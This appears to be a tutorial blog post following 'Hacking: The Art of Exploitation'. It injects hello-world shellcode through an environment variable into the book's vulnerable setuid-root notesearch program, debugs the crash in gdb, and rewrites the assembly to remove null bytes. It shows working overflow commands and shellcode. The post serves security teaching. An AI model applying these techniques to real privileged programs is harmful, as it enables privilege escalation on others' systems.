In this post we are going to attempt to insert our helloworld1 instructions into the notesearch program we exploited before. You may have noticed I said attempt, because if you are following along in HTAE you already know the attempt fails. Lets work through finding out why.
Injecting the Code
Remember from before we compiled helloworld1 to be raw instructions. So in theory they will start executing as soon as we inject them in the program and the program hits them. With that in mind lets see what happens.
$export SHELLC=$(cat hellworld1) $ ./getenvaddr SHELLC ./notesearch SHELL is at 0xbffff560 $ ./notesearch $(perl -e 'print "\x60\xf5\xff\xbf"x40') -------[ end of note data ]------- Segmentation fault
We got a segmentation fault. So something went wrong.
As Jon Erickson states in the book we can’t throw notesearch into gdb as a regular process because the program is owned by the root user. So we have to switch to root and follow along with his creativity. The plan is to run the attempted exploit as root, dump the segmentation fault into memory and take a look at what is going on.
# ./notesearch $(perl -e 'print "\x61\xf5\xff\xbf"x29') -------[ end of note data ]------- Segmentation fault (core dumped) root@32:/home/exploit/Hacking/Assembly# gdb -q -c ./core [New LWP 1824] Core was generated by `./notesearch a���a���a���a���a���a���a���a���a���a���a���a���a ���a���a���a���a�'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x2c653d74 in ?? () (gdb) set disassembly-flavor intel (gdb) x/5i 0xbffff561 0xbffff561: call 0x2c653d74 0xbffff566: ins BYTE PTR es:[edi],dx 0xbffff567: outs dx,DWORD PTR ds:[esi] 0xbffff568: and BYTE PTR [edi+0x6f],dl 0xbffff56b: jb 0xbffff5d9 (gdb) i r eip eip 0x2c653d74 0x2c653d74 (gdb) x/32xb 0xbffff561 0xbffff561: 0xe8 0x0e 0x48 0x65 0x6c 0x6c 0x6f 0x20 0xbffff569: 0x57 0x6f 0x72 0x6c 0x64 0x21 0x0a 0x0d 0xbffff571: 0x59 0xb8 0x04 0xbb 0x01 0xba 0x0f 0xcd 0xbffff579: 0x80 0xb8 0x01 0xbb 0xcd 0x80 0x00 0x58 (gdb) quit root@32:/home/exploit/Hacking/Assembly# hexdump -C helloworld1 00000000 e8 0e 00 00 00 48 65 6c 6c 6f 20 57 6f 72 6c 64 |.....Hello World| 00000010 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba 0f |!..Y............| 00000020 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd |................| 00000030 80 |.| 00000031
What we did here was increase the size of core to unlimited and then dump the fault information into it. We then ran core through gdb to see what was happening. In gdb we can see that our segmentation fault occurred at the call instruction in 0xbffff561.
If we compare the hexdump to the instructions in memory we can see that the null bytes in helloworld1 have been stripped (bold). This is what actually caused the injection to fail. We need to strip the null bytes out of our injected code. So we are going to modify the helloworld1 instructions.
Nullbytes will terminate a string read. In the C programming language it denotes the end of the string. So our null bytes in helloworld1 signaled the end of the string of instructions being injected before we got anything to happen. So we are going to write a program to exploit subtraction in binary. This will exploit the fact that using two’s complement we will turn null bytes into 0xff bytes. Here is where you can look up how the process works. Basically we are flipping the bits 0x00 to 0xff. To do that we are going to make the jump for popping the value off the stack into ecx move backwards, so the jump will be denoted by a negative number.
Here’s the modified code.
BITS 32 ; Tell nasm 32-bit code jmp short one ; Jump to a call at the end two: ; ssize_t write(int fd, const void *buf, size_t count); pop ecx ; Pop the return address (string ptr) into ecx mov eax, 4 ; Write syscall #4 mov ebx, 1 ; STDOUT fd mov edx, 15 ; Message length int 0x80 ; Make syscall ; void _exit(int status) mov eax, 1 ; Exit syscall #1 mov ebx, 0 ; status int 0x80 ; Make syscall one: call two ; call back upwards to remove nullbytes db "Hello, World!", 0x0a, 0x0d ; with newline and carriage return bytes.
We jump the program to the end of the code, then we jump back up to two. That makes our jump a negative value, which removes the null bytes from the front of our code. We can see that by using the ndisasm command again to make our machine instructions assembly.
$ ndisasm -b32 helloworld2 00000000 EB1E jmp short 0x20 00000002 59 pop ecx 00000003 B804000000 mov eax,0x4 00000008 BB01000000 mov ebx,0x1 0000000D BA0F000000 mov edx,0xf 00000012 CD80 int 0x80 00000014 B801000000 mov eax,0x1 00000019 BB00000000 mov ebx,0x0 0000001E CD80 int 0x80 00000020 E8DDFFFFFF call dword 0x2 00000025 48 dec eax 00000026 656C gs insb 00000028 6C insb 00000029 6F outsd 0000002A 2C20 sub al,0x20 0000002C 57 push edi 0000002D 6F outsd 0000002E 726C jc 0x9c 00000030 64210A and [fs:edx],ecx 00000033 0D db 0x0d
We got rid of the initial null bytes but we now have to get rid of the other null bytes in our code (bold). How do we do that? We exploit the fact that we can use registers that are smaller in width to access portions of the full 32-bit registers. We will also use the xor instruction to take care of the bytes.
Here is the modified helloworld2 program to take care of all of the null bytes.
BITS 32 ; Tell nasm 32-bit code jmp short one ; Jump down to call at the end. two: pop ecx ; Pop the return address into ecx xor eax, eax ; Zero out the eax register mov al, 4 ; Write syscall 4 to the low byte of eax xor ebx, ebx ; Zero out the ebx register inc ebx ; Increment to 1 for STDOUT xor edx, edx ; Zero out the edx register mov dl, 15 ; Length of string int 0x80 ; Execute syscall mov al, 1 ; Exit syscall 1, top 3 bytes still 0 dec ebx ; Decrement ebx to get to 0 int 0x80 ; Execute syscall one: call two ; Call back up to avoid null bytes db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return.
Now lets take a look at the resulting code from ndisasm.
$ ndisasm -b32 helloworld3 00000000 EB13 jmp short 0x15 00000002 59 pop ecx 00000003 31C0 xor eax,eax 00000005 B004 mov al,0x4 00000007 31DB xor ebx,ebx 00000009 43 inc ebx 0000000A 31D2 xor edx,edx 0000000C B20F mov dl,0xf 0000000E CD80 int 0x80 00000010 B001 mov al,0x1 00000012 4B dec ebx 00000013 CD80 int 0x80 00000015 E8E8FFFFFF call dword 0x2 0000001A 48 dec eax 0000001B 656C gs insb 0000001D 6C insb 0000001E 6F outsd 0000001F 2C20 sub al,0x20 00000021 776F ja 0x92 00000023 726C jc 0x91 00000025 64210A and [fs:edx],ecx 00000028 0D db 0x0d
Now that we have code without null bytes lets take a look at what happens when we inject it into our notesearch program.
$ export SHELL=$(cat helloworld3) $ ./getenvaddr SHELLC ./notesearch SHELL will be at 0xbffff555 exploit@32:~/Hacking/Assembly$ ./notesearch $(perl -e 'print "\x55\xf5\xff\xbf"x29') -------[ end of note data ]------- Hello, world!
We have written and successfully injected our first piece of shellcode into a running program. There are a few things going on here that need some more clarification. We will do some of that next time.